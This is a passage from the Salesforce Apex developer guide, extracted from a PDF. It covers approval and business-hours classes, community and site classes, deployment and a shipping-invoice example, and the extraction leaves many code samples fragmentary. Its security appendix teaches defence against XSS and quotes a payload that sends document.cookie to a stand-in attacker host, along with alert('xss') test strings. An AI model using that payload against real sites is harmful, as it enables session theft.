- ProcessResult Class on page 398
- ProcessSubmitRequest Class on page 399
- ProcessWorkitemRequest Class on page 400
• The Approval namespace process method: Use this to submit an approval request, as well as approve or reject existing
approval requests. For more information, see Approval Methods on page 286.
Note: The process method counts against the DML limits for your organization. See Understanding Execution
Governors and Limits on page 184.
For more information on approval processes, see “Getting Started with Approval Processes” in the Salesforce.com online help.
insert a;
// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));
397
Reference Apex Approval Processing Classes
ProcessRequest Class
The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemResult classes.
Use the ProcessRequest class to write generic Apex scripts that can process objects from either class.
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no
arguments. For example:
ProcessResult Class
After you submit a record for approval, use the ProcessResult class to process the results of an approval process.
A ProcessResult object is returned by the process method. You must specify the Approval namespace when creating an
instance of this class. For example:
The ProcessResult class has the following methods. These methods take no arguments.
398
Reference Apex Approval Processing Classes
ProcessSubmitRequest Class
Use the ProcessSubmitRequest class to submit a record for approval.
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no
arguments. For example:
The following methods are unique to the ProcessSubmitRequest class. In addition to these methods, the
ProcessSubmitRequest class has access to all the methods in its parent class, ProcessRequest.
399
Reference BusinessHours Class
ProcessWorkitemRequest Class
Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no
arguments. For example:
The following methods are unique to the ProcessWorkitemRequest class. In addition to these methods, the
ProcessWorkitemRequest class has access to all the methods in its parent class, ProcessRequest.
BusinessHours Class
Business hours are used to specify the hours at which your customer support team operates, including multiple business hours
in multiple time zones.
BusinessHours methods are all called by and operate on a particular instance of a business hour. The following are the instance
methods for BusinessHours.
400
Reference BusinessHours Class
Long interval
Long interval
diff String Long Returns the difference between a start and end Datetime
businessHoursId based on a specific set of business hours. For an example,
see BusinessHours Examples on page 401.
Datetime
startDate
Datetime endDate
For more information on business hours, see “Setting Business Hours” in the Salesforce.com online help.
BusinessHours Examples
The following example finds the time one business hour from startTime, returning the Datetime in the local time zone:
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);
This example finds the time one business hour from startTime, returning the Datetime in GMT:
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);
The next example finds the difference between startTime and nextTime:
401
Reference Apex Community Classes
// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);
Answers Class
Answers is a feature of the Community application that enables users to ask questions and have community members reply
with answers. Community members can then vote on the helpfulness of each reply, and the person who asked the question
can mark one reply as the best answer.
The following are the static methods for answers.
For more information on answers, see “Answers Overview” in the Salesforce.com online help.
Answers Example
The following example finds questions in a specific community (INTERNAL_COMMUNITY ) that have similar titles as a
new question:
question.communityId = community.id;
402
Reference Apex Community Classes
ID questionId = [SELECT Id FROM Question WHERE Title = 'Testing setBestReplyId' LIMIT 1].Id;
ID replyID = [SELECT Id FROM Reply WHERE QuestionId = :questionId LIMIT 1].Id;
Answers.setBestReply(questionId,replyId);
Ideas Class
Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject.
A set of recent replies (returned by methods, see below) includes ideas that a user has posted or commented on that already
have comments posted by another user. The returned ideas are listed based on the time the last comment made by another
user, with the most recent ideas appearing first.
The userID argument is a required argument that filters the results so only the ideas that the specified user has posted or
commented on are returned.
The communityID argument filters the results so only the ideas within the specified community are returned. If this argument
is the empty string, then all recent replies for the specified user are returned regardless of the community.
The following are the static methods for ideas.
getReadRecentReplies String userID ID[] Returns ideas that have recent replies marked as
read.
String
communityID
getUnreadRecentReplies String userID ID[] Returns ideas that have recent replies marked as
unread.
String
communityID
markRead String ideaID Void Marks all comments as read for the user that is
currently logged in.
For more information on ideas, see “Using Salesforce CRM Ideas” in the Salesforce.com online help.
403
Reference Apex Community Classes
Ideas Examples
The following example finds ideas in a specific community that have similar titles as a new idea:
idea.communityId = community.id;
The following example uses a Visualforce page in conjunction with a custom controller, that is, a special Apex class. For more
information on Visualforce, see the Visualforce Developer's Guide.
This example creates an Apex method in the controller that returns unread recent replies. You can leverage this same example
for the getAllRecentReplies and getReadRecentReplies methods. For this example to work, there must be ideas
posted to the community. In addition, at least one community member must have posted a comment to another community
member's idea or comment.
// Create an Apex method to retrieve the recent replies marked as unread in all communities
public class IdeasController {
The following is the markup for a Visualforce page that uses the above custom controller to list unread recent replies.
The following example uses a Visualforce page in conjunction with a custom controller to list ideas. Then, a second Visualforce
page and custom controller is used to display a specific idea and mark it as read. For this example to work, there must be ideas
posted to the community.
404
Reference Apex Community Classes
public IdeaListController() {
Integer i = 0;
ideas = new Idea[10];
for (Idea tmp : Database.query
('select id, title from Idea where id != null and parentIdeaId = null limit 10')) {
i++;
ideas.add(tmp);
}
}
}
The following is the markup for a Visualforce page that uses the above custom controller to list ideas:
</apex:page>
The following example also uses a Visualforce page and custom controller, this time, to display the idea that is selected on the
above idea list page. In this example, the markRead method marks the selected idea and associated comments as read by the
user that is currently logged in. Note that the markRead method is in the constructor so that the idea is marked read immediately
when the user goes to a page that uses this controller. For this example to work, there must be ideas posted to the community.
In addition, at least one community member must have posted a comment to another community member's idea or comment.
// Create an Apex method in the controller that marks all comments as read for the
// selected idea
public class ViewIdeaController {
The following is the markup for a Visualforce page that uses the above custom controller to display the idea as read.
</apex:page>
See Also:
IdeaStandardController Class
IdeaStandardSetController Class
405
Reference Site Class
Site Class
The following are the static methods for the Site class, which is part of Force.com sites.
String opt_oldpassword
forgotPassword String username Boolean Resets the user's password and sends
an email to the user with their new
password. Returns a value indicating
whether the password reset was
successful or not.
406
Reference Site Class
407
Reference Site Class
For more information on sites, see “Sites Overview” in the Salesforce.com online help.
/**
* An apex class that creates a portal user
*/
public class SiteRegisterController {
// PORTAL_ACCOUNT_ID is the account on which the contact will be created on
and then enabled as a portal user.
//Enter the account ID in place of <portal_account_id> below.
private static Id PORTAL_ACCOUNT_ID = '<portal_account_id>';
public SiteRegisterController () {
}
408
Reference Site Class
The following is the Visualforce registration page that uses the SiteRegisterController Apex controller above:
409
Reference Cookie Class
</apex:panelGrid>
</apex:form>
cod</apex:page>
The sample code for the createPersonAccountPortalUser method is nearly identical to the sample code above, with
the following changes:
• Replace all instances of PORTAL_ACCOUNT_ID with OWNER_ID.
• Determine the ownerID instead of the accountID, and use the createPersonAccountPortalUser method instead
of the CreatePortalUser method by replacing the following code block:
with
Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.
Use the setCookies method of the pageReference class to attach cookies to a page.
Important:
• Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent
sign and their hexadecimal representation.
• The setCookies method adds the prefix “apex__” to the cookie names.
• Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
• After you create a cookie, the properties of the cookie can't be changed.
• Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use
a cookie value to generate dynamic content, you should disable page caching. For more information, see "Caching
Sites Pages" in the Salesforce.com online help.
• You can only create cookies and set cookie values for a page in the constructor for the page controller (see example).
410
Reference Cookie Class
For more information on sites, see “Sites Overview” in the Salesforce.com online help.
The following example creates a class, CookieController, which is used with a Visualforce page (see markup below) to
update a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.
public CookieController() {
Cookie counter = ApexPages.currentPage().getCookies().get('counter');
// This method is used by the Visualforce action {!count} to display the current
// value of the number of times a user had displayed a page.
// This value is stored in the cookie.
public String getCount() {
Cookie counter = ApexPages.currentPage().getCookies().get('counter');
if(counter == null) {
return '0';
}
return counter.getValue();
}
// Test method for verifying the positive test case
static testMethod void testCounter() {
//first page view
CookieController controller = new CookieController();
411
Reference Apex Interfaces
System.assert(controller.getCount() == '1');
The following is the Visualforce page that uses the CookieController Apex controller above. The action {!count} calls
the getCount method in the controller above.
<apex:page controller="CookieController">
You have seen this page {!count} times
</apex:page>
Apex Interfaces
Apex provides the following system-defined interfaces:
• Database.Batchable
Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically
invoked at runtime using Apex.
• Iterator and Iterable
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for
exiting the loop, and you must provide some means of traversing the collection, that is, an iterator.
• Messaging.InboundEmailHandler
For every email the Apex email service domain receives, Salesforce.com creates a separate InboundEmail object that contains
the contents and attachments of that email. You can use Apex classes that implement the
Messaging.InboundEmailHandler interface to handle an inbound email message. Using the handleInboundEmail
method in that class, you can access an InboundEmail object to retrieve the contents, headers, and attachments of inbound
email messages, as well as perform many functions.
• Scheduleable
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the
schedule using either the Schedule Apex page in the Salesforce.com user interface, or the System.schedule method.
• Site.UrlRewriter
Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites.
You can also create rules to rewrite the URLs for links within site pages. URL rewriting not only makes URLs more
descriptive and intuitive for users, it allows search engines to better index your site pages.
Site.UrlRewriter Interface
Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL
requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to
rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it
allows search engines to better index your site pages.
For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN
412
Reference Site.UrlRewriter Interface
With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your
New Year's Eve posts might be: http://myblog.force.com/posts/2009/12/31/auld-lang-syne
You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's
Day post, the link URL might show: http://myblog.force.com/posts/2010/02/14/last-minute-roses
To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex
class to your site.
The following are the instance methods for the Site.urlRewriter interface, which is part of Force.com sites.
Consider the following restrictions and recommendations as you create your Apex class:
Class and Methods Must be Global
The Apex class and methods must all be global.
413
Reference Site.UrlRewriter Interface
<apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink>
Note: Visualforce <apex:form> elements with forceSSL=”true” aren't affected by the urlRewriter.
Encoded URLs
The URLs you get from using the Site.urlRewriter interface are encoded. If you need to access the unencoded
values of your URL, use the urlDecode method of the EncodingUtil class.
Restricted Characters
User-friendly URLs must be distinct from Salesforce.com URLs. URLs with a three-character entity prefix or a 15- or
18-character ID are not rewritten.
You can't use periods in your rewritten URLs.
Restricted Strings
You can't use the following reserved strings as part of a rewritten URL path:
• apexcomponent
• apexpages
• ex
• faces
• flash
• flex
• google
• home
• ideas
• images
• img
• javascript
• js
• lumen
• m
• resource
• search
• secur
• services
• servlet
• setup
• sfc
• sfdc_ns
414
Reference Site.UrlRewriter Interface
• site
• style
• vote
• widg
Query in Bulk
For better performance with page generation, perform tasks in bulk rather than one at a time for the generateUrlFor
method.
Site.lookupIdByFieldValue(Schema.sObjectType.
mynamespace__Blog__c.fields.title__c,'myBlog');
Code Example
In this example, we have a simple site consisting of two Visualforce pages: mycontact and myaccount. Be sure you have “Read”
permission enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact
page includes a link to the parent account, plus contact details.
415
Reference Site.UrlRewriter Interface
Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated
in the “before” figure. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated
in the “after” figure.
The Apex class used to rewrite the URLs for these pages is shown in Example URL Rewriting Apex Class, with detailed
comments.
<apex:page standardController="Account">
<apex:detail relatedList="false"/>
</apex:page>
The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account
using the URLFOR function and the $Page merge variable; the second simply provides the contact details. Notice that the
Visualforce page doesn't contain any rewriting logic except URLFOR. This page should be named mycontact.
<apex:page standardController="contact">
<apex:pageBlock title="Parent Account">
<apex:outputLink value="{!URLFOR($Page.mycontact,null,
[id=contact.account.id])}">{!contact.account.name}
</apex:outputLink>
</apex:pageBlock>
<apex:detail relatedList="false"/>
</apex:page>
if(url.startsWith(CONTACT_PAGE)){
//Extract the name of the contact from the URL
//For example: /mycontact/Ryan returns Ryan
String name = url.substring(CONTACT_PAGE.length(),
url.length());
416
Reference Site.UrlRewriter Interface
// loop through all the urls once, finding all the valid ids
for(PageReference mySalesforceUrl : mySalesforceUrls){
//Get the URL of the page
String url = mySalesforceUrl.getUrl();
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));
counter++;
} else {
//If this doesn't start like an account page,
//don't do any transformations
myFriendlyUrls.add(mySalesforceUrl);
}
}
417
Reference Site.UrlRewriter Interface
418
Reference Site.UrlRewriter Interface
419
Chapter 14
Deploying Apex Scripts
In this chapter ... You cannot develop Apex in your Salesforce.com production organization. Live
users accessing the system while you are developing can destabilize your data or
• Using the Force.com IDE to Deploy corrupt your application. Instead, salesforce.com recommends that you do all
Apex your development work in either a sandbox or a Developer Edition organization.
• Using the Force.com Migration Tool
Deploy code using the Force.com IDE, the Force.com Migration Tool, or
• Force.com Migration Tool additional deployment methods.
Additional Deployment Methods
420
Deploying Apex Scripts Using the Force.com IDE to Deploy Apex
For more information on how to use the Deploy to Server wizard, see “Deploying to Another Salesforce.com Organization”
in the Force.com IDE documentation, which is available within Eclipse.
5. Log in to Salesforce.com on your deployment machine. Click Your Name ➤ Setup ➤ Develop ➤ Tools, then click
Force.com Migration Tool.
6. Unzip the downloaded file to the directory of your choice. The Zip file contains the following:
• A Readme.html file that explains how to use the tools
421
Deploying Apex Scripts Understanding deploy
7. Copy the ant-salesforce.jar file from the unzipped file into the ant lib directory. The ant lib directory is located in
the root folder of your Ant installation.
8. Open the sample subdirectory in the unzipped file.
9. Edit the build.properties file:
a. Enter your Salesforce.com production organization username and password for the sf.user and sf.password fields,
respectively.
Note: The username you specify should have the authority to edit Apex.
b. If you are deploying to a sandbox organization, change the sf.serverurl field to https://test.salesforce.com.
<!-- Shows deploying code & running tests for package 'codepkg' -->
<target name="deployCode">
<!-- Upload the contents of the "codepkg" package, running the tests for just 1
class -->
<sf:deploy username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" deployroot="codepkg">
<runTest>SampleDeployClass</runTest>
</sf:deploy>
</target>
<target name="undeployCode">
<sf:deploy username="${sf.username}" password="${sf.password}" serverurl=
"${sf.serverurl}" deployroot="removecodepkg"/>
</target>
Understanding deploy
The deploy call completes successfully only if all of the following are true:
422
Deploying Apex Scripts Understanding deploy
• 75% of your Apex code must be covered by unit tests, and all of those tests complete successfully.
Note the following:
- When deploying to a production organization, every unit test in your organization namespace is executed.
- Calls to System.debug are not counted as part of Apex code coverage in unit tests.
- While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.
password
The password associated for logging into the Salesforce.com production organization.
serverURL
The URL for the Salesforce.com server you are logging into. If you do not specify a value, the default is
www.salesforce.com.
deployRoot
The local directory that contains the Apex classes and triggers, as well as any other metadata, that you want to deploy.
The best way to create the necessary file structure is to retrieve it from your organization or sandbox. See Understanding
retrieveCode on page 424 for more information.
• Apex class files must be in a subdirectory named classes. You must have two files for each class, named as follows:
- classname.cls
- classname.cls-meta.xml
For example, MyClass.cls and MyClass.cls-meta.xml. The -meta.xml file contains the API version and the
status (active/inactive) of the class.
• Apex trigger files must be in a subdirectory named triggers. You must have two files for each trigger, named as
follows:
- triggername.trigger
- triggername.trigger-meta.xml
For example, MyTrigger.trigger and MyTrigger.trigger-meta.xml. The -meta.xml file contains the API
version and the status (active/inactive) of the trigger.
• The root directory contains an XML file package.xml that lists all the classes, triggers, and other objects to be
deployed.
• The root directory optionally contains an XML file destructiveChanges.xml that lists all the classes, triggers,
and other objects to be deleted from your organization.
423
Deploying Apex Scripts Understanding retrieveCode
checkOnly
Specifies whether the classes and triggers are deployed to the target environment or not. This property takes a Boolean
value: true if you do not want to save the classes and triggers to the organization, false otherwise. If you do not specify
a value, the default is false.
runTests
The name of the class that contains the unit tests that you want to run.
Note: This parameter is ignored when deploying to a Salesforce.com production organization. Every unit test
in your organization namespace is executed.
runAllTests
This property takes a Boolean value: true if you want run all tests in your organization, false if you do not. You should
not specify a value for runTests if you specify true for runAllTests.
Note: This parameter is ignored when deploying to a Salesforce.com production organization. Every unit test
in your organization namespace is executed.
Understanding retrieveCode
Use the retrieveCode call to retrieve classes and triggers from your sandbox or production organization. During the normal
deploy cycle, you would run retrieveCode prior to deploy, in order to obtain the correct directory structure for your new
classes and triggers. However, for this example, deploy is used first, to ensure that there is something to retrieve.
To retrieve classes and triggers from an existing organization, use the retrieve ant task as illustrated by the sample build target
ant retrieveCode:
<target name="retrieveCode">
<!-- Retrieve the contents listed in the file codepkg/package.xml into the codepkg
directory -->
<sf:retrieve username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" retrieveTarget="codepkg"
unpackaged="codepkg/package.xml"/>
</target>
The file codepkg/package.xml lists the metadata components to be retrieved. In this example, it retrieves two classes and
one trigger. The retrieved files are put into the directory codepkg, overwriting everything already in the directory.
The properties of the retrieve task are as follows:
username
The username for logging into the Salesforce.com production organization.
password
The password associated for logging into the Salesforce.com production organization.
serverURL
The URL for the Salesforce.com server you are logging into. If you do not specify a value, the default is
www.salesforce.com.
apiversion
Which version of the Metadata API at which the files should be retrieved.
424
Deploying Apex Scripts Understanding runTests()
retrieveTarget
The directory into which the files should be copied.
unpackaged
The name of file that contains the list of files that should be retrieved. You should either specify this parameter or
packageNames.
packageNames
The name of the package or packages that should be retrieved.
Field Description
username Required. The salesforce username for login.
password Required. The username you use to log into the organization
associated with this project. If you are using a security token,
paste the 25-digit token value to the end of your password.
The username associated with this connection must have
Modify All Data permissions on their profile. Typically, this
is only enabled for System Administrator users.
serverurl Optional. The salesforce server URL (if blank, defaults to
www.salesforce.com). This is useful for working against the
Sandbox instance, test.salesforce.com.
pollWaitMillis Optional, defaults to 5000. The number of milliseconds to
wait between each poll of salesforce.com to retrieve the results.
maxPoll Optional, defaults to 10. The number of times to poll
salesforce.com for the results of the report.
retrieveTarget Required. The root of the directory structure to retrieve the
metadata files into.
unpackaged Optional. The name of a file manifest that specifies the
components to retrieve.
singlePackage Optional, defaults to false. Specifies whether the contents
being retrieved are a single package.
packageNames Optional. A list of the names of the packages to retrieve.
specificFiles Optional. A list of file names to retrieve.
Understanding runTests()
In addition to using deploy() with the Force.com Migration Tool, you can also use the runTests() API call. This call
takes the following properties:
class
The name of the class that contains the unit tests. You can specify this property more than once.
alltests
Specifies whether to run all tests. This property takes a Boolean value: true if you want to run all tests, false otherwise.
425
Deploying Apex Scripts Force.com Migration Tool Additional Deployment Methods
namespace
The namespace that you would like to test. If you specify a namespace, all the tests in that namespace are executed.
All these calls take an Apex script that contains the class or trigger, as well as the values for any fields that need to be set.
426
APPENDICES
Appendix
A
Shipping Invoice Example
This appendix provides an example of an Apex application. This is a more complex example than the Hello World example.
• Shipping Invoice Example Walk-Through on page 427
• Shipping Invoice Example Code on page 429
Scenario
In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total
amount for the order, including shipping cost, is automatically calculated and updated based on the items added or deleted
from the invoice.
427
Appendix A: Shipping Invoice Example Shipping Invoice Example Walk-Through
All of the Apex for this application is contained in triggers. This application has the following triggers:
The following is the general flow of user actions and when triggers run:
428
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
Figure 16: Flow of user action and triggers for the shopping cart application
1. User clicks Orders ➤ New, names the shipping invoice and clicks Save.
2. User clicks New Item, fills out information, and clicks Save.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.
In Shipping Invoice Example Code both of the triggers and the test class are listed. The comments in the code explain the
functionality.
429
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
• Calculate trigger
• ShippingDiscount trigger
• Test class
Calculate Trigger
trigger calculate on Item__c (after insert, after update, after delete) {
for(item__c i :itemList){
// Assert numbers are not negative.
// None of the fields would make sense with a negative value
// Accessing all shipping invoices associated with the items in the trigger
List<Shipping_Invoice__C> AllShippingInvoices = [SELECT id, ShippingDiscount__c,
SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c
FROM Shipping_Invoice__C where id in :AllItems];
for(Shipping_Invoice__C sc : AllShippingInvoices)
{
SIMap.put(sc.id, sc);
}
430
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
// revised item rather than figuring out the differences of each field
// and acting accordingly.
// Note updates have both trigger.new and trigger.old
for(integer x = 0; x < trigger.old.size(); x++)
{
Shipping_Invoice__C myOrder;
myOrder = SIMap.get(trigger.old[x].Shipping_Invoice__C);
// Look up the correct shipping invoice from the ones we got earlier
myOrder = SIMap.get(itemToProcess.Shipping_Invoice__C);
myOrder.SubTotal__c += (itemToProcess.price__c *
itemToProcess.quantity__c * subtract);
myOrder.TotalWeight__c += (itemToProcess.weight__c *
itemToProcess.quantity__c * subtract);
}
431
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
updateMap.put(myOrder.id, myOrder);
}
}
ShippingDiscount Trigger
trigger ShippingDiscount on Shipping_Invoice__C (before update) {
// Free shipping on all orders greater than $100
432
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
list1.add(item2);
list1.add(item3);
insert list1;
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was '
+ order1.shippingdiscount__c);
}
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
433
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
434
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
435
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
WHERE id = :order1.id];
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
try{
insert item1;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Price must be non-negative'),
'Price was negative but was not caught');
}
try{
insert item2;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Weight must be non-negative'),
'Weight was negative but was not caught');
}
try{
insert item3;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Quantity must be positive'),
'Quantity was negative but was not caught');
}
436
Appendix A: Shipping Invoice Example Shipping Invoice Example Code
try{
insert item4;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Quantity must be positive'),
'Quantity was zero but was not caught');
}
}
}
437
Appendix
B
Reserved Keywords
The following table lists identifiers that are reserved for use as keywords and cannot be used otherwise:
Note: Keywords marked with an asterisk (*) are reserved for future use.
438
Appendix B: Reserved Keywords
439
Appendix
C
Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce.com or create a completely new stand-alone product running inside the Force.com platform. However,
as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding
mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while
others are unique to Apex.
To certify an application for Force.com AppExchange, it is important that developers learn and understand the security flaws
described here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/index.php/Security.
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
440
Appendix C: Security Tips for Apex and Visualforce Development Cross Site Scripting (XSS)
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input,
but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
of attacks against the victim. These range from simple actions such as opening and closing windows, to more malicious attacks
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/articles/xss-faq.shtml
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
<script>
var foo = location.search;
document.write(foo);
</script>
441
Appendix C: Security Tips for Apex and Visualforce Development Unescaped Output and Formulas in Visualforce Pages
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
<apex:inputText value="{!myTextField}"/>
</apex:form>
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value=" {!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be
designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
The HTMLENCODE function encodes text strings and merge field values for use in HTML by replacing characters
that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as >.
JSENCODE
The JSENCODE function encodes text strings and merge field values for use in JavaScript by inserting escape characters,
such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
442
Appendix C: Security Tips for Apex and Visualforce Development Cross-Site Request Forgery (CSRF)
JSINHTMLENCODE
The JSINHTMLENCODE function encodes text strings and merge field values for use in JavaScript within HTML
tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML
with HTML entity equivalents.
URLENCODE
The URLENCODE function encodes text strings and merge field values for use in URLs by replacing characters that
are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform
Resource Identifier (URI): Generic Syntax. For example, exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped
counterparts may vary. For instance, this statement:
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
results in:
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
